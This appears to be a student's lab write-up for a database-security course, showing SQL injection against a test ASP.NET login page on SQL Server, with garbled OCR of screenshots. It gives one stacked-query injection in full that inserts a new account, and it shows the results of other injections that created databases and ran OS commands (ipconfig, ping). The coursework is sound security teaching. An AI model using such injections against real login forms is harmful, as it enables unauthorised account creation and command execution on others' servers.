## Assignment 3 – Database Attacks and Defense

• (Task # 1) Take a screenshot of the next screen after the injection. You must see the Logout button.



- (Task # 2) Enter the following injection in Login name box and make the Password box blank.
  - 1. **Task #2A:** What is the constructed query that is passed on to SQL Server? If you study the code in **Login.aspx.cs**, you can figure out the constructed query. Also, refer to the class slides for ideas.

## **SELECT \* FROM login**

WHERE login\_name='admin'; INSERT INTO login VALUES ('user250', 'red');--AND login\_password=" 2. **Task #2B**: Go to the SQL Server and confirm that the account ('user250', 'red') is indeed created in the login table. Provide a screenshot of the records in the table.

a c		r	A DESCRIPTION OF THE PARTY			A DESCRIPTION OF A DESC
	SELEC	T * FROM db	o.login			
) %	• • <					
)% ∎F	Results	B Messages				
) % ] F	Results	B Messages	password			
)% ∎F	Results loginid 100	B Messages login_name admin	password			
)% ∎ F	Results loginid 100 101	Messages login_name admin user1	password apple orangle			
)% ∃F	Results loginid 100 101 102	Messages login_name admin user1 user2	password apple orangle mango			
) % 1 F	Results loginid 100 101 102 103	Messages login_name admin user1 user2 user3	password apple orangle mango blueberry			
) %	Results loginid 100 101 102 103 104	Messages login_name admin user1 user2 user3 user4	password apple orangle mango blueberry tomato			
) %	Results loginid 100 101 102 103 104 105	Messages login_name admin user1 user2 user3 user4 user250	password apple orangle mango blueberry tomato red			
) % ∃ F	Results loginid 100 101 102 103 104 105	Messages login_name admin user1 user2 user3 user4 user250	password apple orangle mango blueberry tomato red			
) %	Results loginid 100 101 102 103 104 105	Messages login_name admin user1 user2 user3 user4 user250	password apple orangle mango blueberry tomato red			
) %	Results loginid 100 101 102 103 104 105	Messages login_name admin user1 user2 user3 user4 user250	password apple orangle mango bluebeny tomato red			
) %	Results loginid 100 101 102 103 104 105	Messages login_name admin user1 user2 user3 user4 user250	password apple orangle mango blueberry tomato red			
) %	Results loginid 100 101 102 103 104 105	Messages login_name admin user1 user2 user3 user4 user250	password apple orangle mango blueberry tomato red			

• (Task # 3) Enter the following two injections using Login name box. Leave the Password box blank. Show in screenshots that the database and the table are created. The table will be created in Oldhouse database.

Object Explorer 🛛 🔻 🕂 🗙	SQLQ	uery2.sql - WlAdmi	inistrato	r (55))* ∹¤	× Oldhouse-Tab	le-Credministrator (54))	Solution Explorer	-
	E	SELECT name, da FROM sys.da	tabase tabase	e_id, crea es	ate_date			÷
WIN-AVPBP9ATULM (SQL Server 13.0.4406.4  Detabases					and the balance			
E Databases		SELECT * FROM 1	Intorma	stion_sche	a, tables			*
Detabases	100 %	-						
		Results 📑 Message	s					
DWConfiguration		name		database_id	create_date			*
	6	Report Server TempD	в	6	2018-01-28 20:0	2:06.067		
DWOueue	7	DWDiagnostics		7	2018-01-28 20:0	2:10.043		
Newhouse	8	DWConfiguration		8	2018-01-28 20:0	2:13.947		
🖂 🕞 Oldhouse	9	DWQueue		9	2018-01-28 20:0	2:14.473		
🗐 🦷 Database Diagrams	10	WideWorldImporters		10	2018-01-28 20:3	9:43.483		
🖃 💼 Tables	11	AdventureWorks201	6CTP3	11	2018-01-28 20:4	5:24.873		
🗉 📁 System Tables	12	Oldhouse		14	2024-02-01 02:5	6:44.007		
🗉 💼 FileTables	13	Newhouse		15	2024-02-01 03:2	1:20.487		
표 💼 External Tables								1000
🖭 🎛 dbo.cust		TABLE_CATALOG	TABLE	_SCHEMA	TABLE_NAME	TABLE_TYPE		
🗉 🧰 dbo.DatabaseLog_test		Oldhouse	dbo		DatabaseLog_test	BASE TABLE		
🗉 🎛 dbo.login	2	Oldhouse	dbo		login	BASE TABLE		
🗉 🌐 dbo.product	3	Oldhouse	dbo		product	BASE TABLE		
😠 🌐 dbo.SalesTable	4	Oldhouse	dbo		cust	BASE TABLE		
🕀 📕 Views	5	Oldhouse	dbo		SalesTable	BASE TABLE		
🗄 🧰 External Resources								
🗉 🧱 Synonyms								
Programmability								
Service Broker								
🗄 🧰 Storage								
BereatConvert								
ReportServer PenortServerTempDP								
								1
	QQ	uery executed succe	essf	WIN-AVPB	P9ATULM (13.0 SP1	) WIN-AVPBP9ATULM\A	dmini Oldhouse 00:00:00	5 rows

• (Task # 4) Go to the directory c:\Test\ in Windows 2012 Server and locate ipconfig2.txt file. Open up the file and take a screenshot of its content.

Windows IP Configuration Host Name . . . . . . . . . . . . . WIN-AVPBP9ATULM Primary Dns Suffix . . . . . . : IP Routing Enabled. . . . . . . . . . No WINS Proxy Enabled. . . . . . . . . . No Ethernet adapter Ethernet: Connection-specific DNS Suffix . : Description . . . . . . . . . . . Intel(R) PRO/1000 MT Network Connection Physical Address. . . . . . . . . : 2A-2E-94-82-B7-C8 DHCP Enabled. . . . . . . . . . . . . . No Autoconfiguration Enabled . . . . : Yes Link-local IPv6 Address . . . . : fe80::30bd:7a57:a0ed:44e3%12(Preferred) Default Gateway . . . . . . . . : 192.168.1.1 NetBIOS over Tcpip. . . . . . . : Enabled Tunnel adapter isatap. {9F9EB500-4E5B-4FF1-B937-037BB7970BD2}: Media State . . . . . . . . . . . . Media disconnected Connection-specific DNS Suffix . : Description . . . . . . . . . . Microsoft ISATAP Adapter #2 DHCP Enabled. . . . . . . . . . . . . No Autoconfiguration Enabled . . . . : Yes

• (Task # 5) Take a screenshot of Windows Task manager that is running **ping.exe**. If the ping process disappears quickly, increase the counter 'n'. If you cannot capture the screen, just report it after confirming the injection is working.

D 🙀 QEMU i	machine emulators and t	0%	1.4 MB
💽 Runtim	e Broker	0%	2.2 MB
Sink to	receive asynchronous ca	0%	0.8 MB
▷ 🖶 Spooler	SubSystem App	0%	2.2 MB
SQL Ful	l Text host	0%	1.0 MB
▷ 💽 SQL Ful	I-text Filter Daemon Lau	0%	0.6 MB
▷ 💽 Sql Serv	er Telemetry Client	0%	11.2 MB
▷ 💽 Sql Serv	er Telemetry Client	0%	12.5 MB
▷ 💽 Sql Serv	er Telemetry Client	0%	15.1 MB
▷ 💽 SQL Ser	ver VSS Writer - 64 Bit	0%	1.0 MB
▷ 💽 SQL Ser	ver Windows NT - 64 Bit	0%	1,101.7 MB
TCP/IP	Ping Command	0%	0.5 MB
VsHub.	exe (32 bit)	0%	16.1 MB
Cav. Window	vs Command Processor	0%	0.3 MB
🐼 Windov	v <mark>s Up</mark> date	0%	1.1 MB
ANNAL D.	ovidor Hort	1.1%	AAND